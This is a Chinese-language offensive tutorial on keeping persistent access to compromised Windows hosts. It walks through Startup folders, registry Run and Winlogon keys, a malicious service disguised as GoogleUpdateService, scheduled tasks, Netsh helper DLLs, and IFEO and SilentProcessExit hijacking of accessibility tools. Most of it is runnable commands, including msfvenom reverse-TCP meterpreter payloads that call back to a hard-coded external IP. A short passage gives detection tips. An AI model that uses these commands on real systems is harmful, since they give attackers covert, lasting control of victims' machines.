Windows 权限维持
总述
本文讲解了 Windows 环境下的 常规的 权限维持 手法。
神
1. 后门账户
1. 影子账户
2. 启用被禁用的账户
2. 系统自启动
1. 自启动文件夹
2. 注册表自启动
3. 服务自启动
3. 计划任务(定时任务)
4. dll 恶意加载
5. 命令映像劫持
CS 模块化一键运行
在确保对目标系统的控制权不因漏洞修复而丧失的过程中,攻击者通常会部署一种隐蔽的通道,即后门(Backdoor),以实现对目标系统的持久化控制。后门是一种恶意软件,它允许未授权用户绕过正常的认证过程,获得对系统的访问权限。
1. 系统自启动
1)Startup文件夹
用户 Startup文件夹中的应用程序、文件和快捷方式会在首次登录时自动启动。
通常用于引导用户的主环境(如设置壁纸、快捷方式等)。
很好用很简单很方便,但是杀软的监测很简单,因此不太推荐。
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
shell:startup
单针对某个用户
无需登录,电脑启动时就会上线该用户权限的 beacon。
%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
本机上的全部用户,只要登陆了都会执行 payload 上线 CS。
· 1. shell:startup
无需登录,只用开启即可上线该权限。



- 2. %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
需要登录,但是任一用户登陆过后,当前用户会执行 payload 创建 beacon 会话,上一次关机的用户的 beacon 会话也会建立(具体原因不详。)
然后这个文件夹是针对本机的所有用户有效的,任何用户登陆后都会自启动这个 payload 上线 CS。

2)注册表启动项
此方法需要目标主机的 administrators 组的权限 以及 BypassUAC 的实现。
因为修改注册表需要这两个权限。需要 BypassUAC 后的 administrator 的权限。
简介
Windows 注册表是一个庞大的数据库,用于存储系统和应用程序的配置信息。它在 Windows 操作系统中起着核心作用,因为许多程序和系统组件依赖于注册表中的数据来配置自己的行为。
功能
1. 存储配置信息:保存硬件、系统设置、软件配置和用户偏好等信息。
2. 系统启动配置:包含启动配置数据,如启动模式、系统识别等。
3. 应用程序设置:存储应用程序的个性化设置和状态信息。
结构
注册表分为多个主键(HKEY),每个主键下有子键和值项。常见的主键包括:
HKEY_LOCAL_MACHINE:包含系统级别的配置信息,影响所有用户。
HKEY_CURRENT_USER:包含当前登录用户的环境和配置信息。
HKEY_USERS:包含所有用户配置信息,不论当前是否登录。
HKEY_CURRENT_CONFIG:包含当前硬件配置信息。
HKCR → 文件关联 & COM 组件目录(告诉系统“某种文件/对象用什么打开”)
HKCU → 当前用户的个人偏好设置(只对你生效)
HKLM → 系统全局的硬件/软件设置(对所有人生效)
HKU → 所有用户的配置数据库(包含 HKCU)
HKCC → 当前硬件环境的即时配置(依赖 HKLM)
1. HKEY_CLASSES_ROOT (HKCR)
主要作用:
存储 文件扩展名与应用程序的关联(比如 .txt 用记事本打开,.docx 用 Word 打开)。
存储 COM(组件对象模型,Component Object Model)相关信息。
特点:
其实是 HKEY_LOCAL_MACHINE\Software\Classes 和 HKEY_CURRENT_USER\Software\Classes 的一个合并视图。
所以它不仅包含系统级别的关联,也包含用户级别的关联。
2. HKEY_CURRENT_USER (HKCU)
主要作用:
存储 当前登录用户 的配置信息。
包括桌面背景、输入法设置、已安装的软件的用户个性化配置、网络驱动器映射等。
特点:
它是 HKEY_USERS 中某个具体用户 SID(安全标识符)的一个快捷方式。
只影响当前登录的用户,不会影响到其他用户。
3. HKEY_LOCAL_MACHINE (HKLM)
主要作用:
存储 整个计算机系统级别 的配置。
包括硬件信息、驱动程序、系统服务、系统范围的软件设置等。
特点:
对所有用户生效。
比如:安装一个软件时,如果它写入 HKLM,那么所有用户都能使用。
常见子项:
SYSTEM(启动和驱动配置)
SOFTWARE(系统和应用程序配置)
HARDWARE(硬件信息,运行时动态生成)
4. HKEY_USERS (HKU)
主要作用:
存储 所有用户 的配置信息。
特点:
每个用户用一个 SID(安全标识符,如 S-1-5-21-xxxx) 来表示。
HKCU 实际上就是 HKU 下当前登录用户 SID 的一个快捷方式。
包含:默认用户(.DEFAULT)、当前用户、以及可能的其他用户。
5. HKEY_CURRENT_CONFIG (HKCC)
主要作用:
存储 当前硬件配置文件。
包括显卡、显示器、打印机等相关的即席硬件设置。
特点:
是 HKLM\SYSTEM\CurrentControlSet\Hardware Profiles 的一个快捷方式。
不独立保存数据,只是指向当前活动的硬件配置。
工具
regedit.exe:注册表编辑器,允许用户浏览、编辑注册表。
可视化注册表
reg:命令行工具,用于导入、导出和修改注册表项
系统命令
利用
1、利用的键
1. Run 键
用于定义在系统启动时执行的程序。每次系统启动时都会按顺序自动执行。是自动运行程序最常用的注册键。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
2. RunOnce 键
用于定义在系统启动时只执行一次的程序。安装程序通常用RunOnce键自动运行程序。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
3. RunServicesOnce 和 RunServices 键
用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。
RunServices 指定的程序紧接 RunServicesOnce 指定的程序后运行,两者都是在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
4. RunOnceSetup 键
用于定义在用户登录后只执行一次的程序。
指定了用户登录之后运行的程序。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup
5. Load键
用于定义加载到系统内存中的程序。
新建一个字符串名为 load 的键值,为自启动程序的路径,需要注意短文件名规则,如 c:\Program Files 应为 C:\progra~1。
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
6. Winlogon 键
用于定义在用户登录时初始化的程序。
找到 Userinit 键值,默认为 C:\Windows\system32\userinit.exe, 后面加路径,再加逗号也可以。也能够使系统启动时自动初始化程序。比如:userinit.exe,OSA.exe。
注意下面的 Notify、Shell 键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现登录的时候启动多个程序。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
2、MSF 利用
需要 administrators 组权限 及 BypassUAC 后的权限。
1、上线

2、上传 payload
上线后可以上传好别的需要自启动的payload,此处以 CS 的 payload 举例。

3、列出注册表项Run键的所有子键
这个 reg 直接在 Meterpreter 环境下运行即可,无需进入 shell 环境。
这个 reg 不是 Windows 操作系统当中的 reg 命令,是 Meterpreter 自己的 reg 命令。

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

4、设置注册表项键值
这种情况就是说明不是 administrators 组当中的成员 或是 没有 BypassUAC。
尝试 BypassUAC,若还不行尝试 重新上线然后再BypassUAC 后即可。



# Run 键
reg setval -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v sqlservr -d 'C:\temp\sqlservr.exe'
reg setval -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v sqlservr -d 'C:\temp\sqlservr.exe'

5、查询注册表项键值(加入的)
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v sqlservr
reg queryval -k HKCU\\software\\microsoft\\windows\\currentversion\\Run -v sqlservr

6、重启
reboot


上线成功

7、删除键值
reg deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v sqlservr
reg deleteval -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v sqlservr

3、CMD 下执行
需要 administrators 组权限 及 BypassUAC 后的权限。
在 CMD 下执行依然是利用 reg 命令,不过此时不再是 MSF 的 reg 命令了,而是 Windows 操作系统的 reg 命令。

1、列出注册表项Run键的所有子键
reg query HKLM\software\microsoft\windows\currentversion\run


2、设置注册表项键值
reg add HKLM\software\microsoft\windows\currentversion\run /v sqlservr /t REG_SZ /d "C:\temp\sqlservr.exe"


3、查询注册表项键值
reg query HKLM\software\microsoft\windows\currentversion\run /v sqlservr

4、立即重启系统
shutdown -r -f -t 0
成功上线

5、删除注册表项
reg delete HKLM\software\microsoft\windows\currentversion\run /v sqlservr

3)服务自启动(推荐!顺便提权了)
注意点:
1. msfvenom 生成的 payload 是分段的,因为不分段的 exe-service 格式会超出大小。
2. 需要 administrators 组权限 及 BypassUAC 后的权限。
1、生成 payload。
msfvenom 生成 payload(exe-service)
为什么要是 exe-services 详见 - Windows 提权 - 可信任服务路径 当中的 服务提权当中的解释。
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=120.55.169.128 lport=4205 -f exe-service -o GoogleUpdate.exe
-p windows/x64/meterpreter/reverse_tcp:
exe-service 的 payload 有大小限制,不分段的 payload 超出了大小,在下面的第一张图展示了。



2、sc创建一个GoogleUpdateService服务,执行我们上传的木马。
需要 administrators 组权限 及 BypassUAC 后的权限。
创建服务需要该权限。

sc create GoogleUpdateService binPath= "C:\temp\GoogleUpdate.exe" displayname="1" start= auto

3、启动
虽然我们也开启了自动启动 "start= auto"
手动启动方法:
sc start GoogleUpdateService
手动暂停方法:
sc stop GoogleUpdateService
手动删除方法;
sc delete GoogleUpdateService

2. 计划任务
任何用户都可以,什么用户创建的计划任务,上线的就是什么用户的权限。
此方法无需目标主机的 administrators 组的权限 以及 BypassUAC 的实现。
命令解析
# 创建新的计划任务
schtasks /create
# 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
/sc schedule
# 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。
/mo modifier
# 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 %Systemroot%\System32
目录下。
/tr <TaskRun>
# 指定任务的名称。
/tn <TaskName>
常用命令
# 每分钟执行一次任务
schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr "C:\temp\qiaoshen.exe"
# 每小时执行一次任务
schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr "C:\temp\qiaoshen.exe"
# 每天执行一次任务
schtasks /create /sc DAILY /mo 1 /tn calc_update /tr "C:\temp\qiaoshen.exe"
# 每周执行一次任务
schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr "C:\temp\qiaoshen.exe"
# 删除计划任务
schtasks /delete /tn calc_update /F
利用
# 创建 test 定时任务,每分钟执行一次 qiaoshen.exe
schtasks /create /sc MINUTE /mo 1 /tr C:\temp\qiaoshen.exe /tn test



3. Netsh
此方法需要目标主机的 administrators 组的权限 以及 BypassUAC 的实现。
Netsh(Network Shell)是 Windows 系统自带的命令行工具,主要用于管理和配置网络设置。其核心功能是通过动态加载 Helper DLL(辅助动态链接库)来实现特定的网络功能扩展。这些 DLL 文件通常提供某些网络配置的接口,例如 IP 地址管理、防火墙设置、代理配置等。
- 动态加载 DLL:当使用 netsh 加载某个 DLL 时,该 DLL 的路径会被记录到注册表中,以便在未来使用 Netsh 时直接加载,而无需每次重新指定路径。
- 持久化机制:加载的 Helper DLL 路径保存在注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Netsh
因此,即使系统重启,Netsh 仍能访问这些 DLL。
📌 为什么开机必定加载 netsh 相关 DLL?
1. netsh 本身不是常驻进程
netsh.exe是一个命令行工具(通常在C:\Windows\System32)。- 它不会自己常驻后台,也不会开机自启动。
- 但是 系统网络初始化 或者某些管理功能需要调用
netsh的组件,所以相关 DLL 会被加载。
2. DLL 来自“Netsh Helper DLL”
netsh的功能是通过 Helper DLLs(辅助 DLL) 扩展的,比如:netsh.exe本身只是一个壳(shell)。- 不同功能(IP、WLAN、防火墙、HTTP)由不同的 Helper DLL 提供实现。
- 这些 Helper DLL 会在系统启动时,或者当网络栈初始化时,由 系统服务加载。
例如常见的 Netsh Helper DLL:
netiohlp.dll(网络接口)fwcfg.dll(防火墙)wlancfg.dll(无线网络)
3. 哪些服务会触发 Netsh DLL 的加载?
在 Windows 启动阶段,以下服务会调用相关 DLL:
-
TCP/IP 协议栈初始化:
Windows 启动时加载 TCP/IP、DNS Client、DHCP Client 服务,这些会用到底层的netiohlp.dll。 -
Windows 防火墙服务(MpsSvc):
启动时会加载防火墙的 Netsh Helper DLL。 -
无线网络服务(WlanSvc):
如果有无线网卡,开机启动时会加载 WLAN 的 Netsh DLL。 -
HTTP Service (http.sys):
如果系统或某些应用绑定了 SSL(IIS、某些 VPN/代理服务),会加载netsh http相关 DLL。
4. 注册表中的 Helper DLL 配置
Netsh 的 Helper DLL 是在注册表里定义的:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
在这个键下,你能看到各种子键,比如 IP, WLAN, Firewall, HTTP,每个子键里会有 DLLPath 指向需要加载的 DLL。
👉 所以开机时,这些 Helper DLL 会被网络相关服务预加载。
📊 总结原因
- 不是你手动运行了
netsh,而是系统网络组件在初始化时,加载了 Netsh 的 Helper DLL。 - 触发加载的主要是:
- TCP/IP 协议栈初始化(DHCP、DNS、IP 配置)
- Windows 防火墙服务
- WLAN 自动配置服务
- HTTP/SSL 服务
⚠️ 注意事项
- 正常情况:开机加载 Netsh 相关 DLL 是 正常行为,不是异常进程。
- 异常情况:如果你发现
netsh.exe本身被频繁调用,或者有奇怪的 DLL 被挂靠(不在系统目录里),那可能是恶意软件伪装 Hook 了 Netsh Helper。
👉 可以检查:
-
注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh看是否有可疑的 DLL 路径。
-
Autoruns(Sysinternals 工具):看看有没有第三方程序挂钩到 Netsh。
-
事件查看器(eventvwr.msc),在 系统日志里搜索
netsh或DLL load。
✅ 总结一句话:
开机必定加载 Netsh DLL,是因为 Windows 网络服务(TCP/IP、防火墙、WLAN 等)在初始化时需要调用 Netsh 的 Helper DLL,这是系统设计的一部分,并非异常。
常见用法
1. netsh 必须在 管理员权限的命令提示符或 PowerShell 中运行,否则很多命令会报错。
2. 部分功能(如 IPv6、WLAN 管理)在不支持的系统版本中可能受限。
3. 从 Windows 10 开始,微软推荐用 PowerShell 的 Get-NetAdapter、Set-NetIPInterface、Get-NetFirewallRule 等 cmdlet 来替代 netsh,但 netsh 仍然被广泛使用,尤其在脚本和兼容性场景中。
📌 常见场景
-
查看当前所有网络接口的 IP 配置:
netsh interface ip show config -
修改网卡为静态 IP:
netsh interface ipv4 set address name="以太网" source=static addr=192.168.1.123 mask=255.255.255.0 gateway=192.168.1.1 -
切换为自动获取 IP (DHCP):
netsh interface ip set address name="以太网" source=dhcp -
设置 DNS:
netsh interface ip set dns name="以太网" static 8.8.8.8 -
查看保存的 Wi-Fi 密码:
netsh wlan show profile name="MyWiFi" key=clear -
关闭防火墙:
netsh advfirewall set allprofiles state off
权限维持原理
通过将恶意 DLL 加载为 Helper DLL,可以实现对目标系统的持久化控制。利用此方法攻击者可以:
1. 注入恶意代码:通过自定义的 DLL 实现隐藏命令执行、数据窃取或其他恶意功能。
2. 持久化:因为注册表记录了 DLL 的路径,所以攻击者无需反复操作,即可持续加载恶意 DLL。
3. 权限提升:若攻击者具备管理员权限,则可以加载系统级的恶意 DLL,并将其运行在高权限环境下。
利用
此方法需要目标主机的 administrators 组的权限 以及 BypassUAC 的实现。

1、加载恶意 DLL
生成 payload
# 首先编写一个恶意 DLL(如键盘记录器、反向 Shell 模块)
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=120.55.169.128 lport=4206 -f dll -o netsh_payload.dll

加载 恶意dll
# 通过以下命令将其加载为 Helper:
netsh add helper C:\temp\netsh_payload.dll
卡住是正常的,我们去看写进去了没就 okay。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh /v netsh_payload


2、创建自启动项
由于 Netsh 并非系统服务,默认情况下不会自启动,为确保 DLL 功能能够持续生效,可以通过注册表添加自启动项。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v netsh /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
# 查询
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v netsh



4. 命令映像劫持
不过尽量不要直接劫持为 payload,因为长期不输入密码会自动又回到息屏的状态,session 会话就会掉。
注册表相关的都需要:
需要 administrators 组权限 及 BypassUAC 后的权限。
在 Windows 操作系统中,存在屏幕键盘、放大镜、屏幕阅读器等辅助功能,原本旨在为有特殊需求的用户提供便利。
常用辅助功能:
1. Shift(sethc.exe)
2. 屏幕键盘(osk.exe)
3. 辅助工具管理器(Utilman.exe)
4. 讲述人(Narrator.exe)
然而,这些工具也可能被滥用,通过注册表中的IFEO(Image File Execution Options)实现在
具有管理员权限的远程桌面协议(RDP)环境中的持久化访问。
IFEO 是一个注册表项,通常只有管理员和 Local System 账户有权进行读写和修改操作。攻击者可以
通过修改 IFEO 来劫持系统工具的执行流程,实现恶意目的。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

优先这四个,可在锁屏状态实现命令劫持。
1. Shift(sethc.exe)
2. 屏幕键盘(osk.exe)
3. 辅助工具管理器(Utilman.exe)
4. 讲述人(Narrator.exe)
| 类别 | 可执行文件名 | 作用 |
|---|---|---|
| 文本编辑器 | notepad.exe | 记事本 |
| 绘图工具 | mspaint.exe | 画图 |
| 计算器 | calc.exe | 计算器 |
| 写字板 | wordpad.exe | 简易文书编辑 |
| 截图工具 | snippingtool.exe / snip & sketch | 截图工具 |
| 命令行 | cmd.exe | 命令提示符(不建议 IFEO 自己调自己,会循环) |
| PowerShell | powershell.exe | 脚本执行环境 |
| 文件管理器 | explorer.exe | 资源管理器(测试时可,但会影响桌面刷新) |
| 系统工具 | charmap.exe | 字符映射表 |
| 远程桌面客户端 | mstsc.exe | 远程桌面连接 |
| 系统信息 | msinfo32.exe | 系统信息查看 |
| DirectX 诊断 | dxdiag.exe | 图形硬件信息查看 |
| Shift 粘滞键 | sethc.exe | 粘滞键 |
原理
利用 IFEO 中的 debugger 参数,攻击者可以指定一个程序在执行时首先运行另一个程序,例如将cmd.exe设置为合法程序的调试器。这样,当合法程序被执行时,实际上是启动了攻击者指定的恶意程序。
利用
1. Narrator
劫持 Narrator 讲述人,实现运行 Narrator 但是启动的却是 cmd。
修改注册表 - 命令映像劫持
# 找到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options 目录下的 narrator.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f




恢复
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /v Debugger

2. Utilman
劫持辅助工具管理器。
修改注册表 - 命令映像劫持
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f




恢复
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger

3. Notepad
利用 Silent Process Exit,实现某个程序退出后静默运行后门程序时;
# 以执行 notepad 为例,退出后静默运行 calc.exe。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f
# 可以更改 C:\Windows\system32\calc.exe 为 payload,如 powershell 命令
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\system32\calc.exe" /f
MonitorProcess:表示监视器进程
ReportingMode:可以设置为以下三个值
1. 0x1:LAUNCH_MONITORPROCESS,检测到进程静默退出时,将会启动监视器进程,即MonitorProcess 的项值
2. 0x2:LOCAL_DUMP,检测到进程静默退出时,将会为受监视的进程创建转储文件
3. 0x3:NOTIFICATION,检查到进程静默退出时,将会弹出一个通知
关闭 notepad 后自动打开了一个 calc 计算器。

5. CS 模块化一键利用


1)命令映像劫持

Utilman - 辅助工具管理器
sethc - 粘滞键




2)自启动服务
自启动服务1 - 自启动服务





自启动服务2 —— SharPersist

服务


计划任务


3)自启动文件夹


4)注册表启动项




5)计划任务
计划任务1 —— Telemetry


计划任务2 —— SharpTask





6) SharpStay

创建服务

WMI 事件订阅

创建快捷方式

修改已存在的快捷方式

7)sharpGPOAbuse - GPO
计划任务
添加用户权限
添加本地管理员
配置用户或计算机登陆脚本

计划任务

添加用户权限

添加本地管理员

配置用户或计算机登录脚本
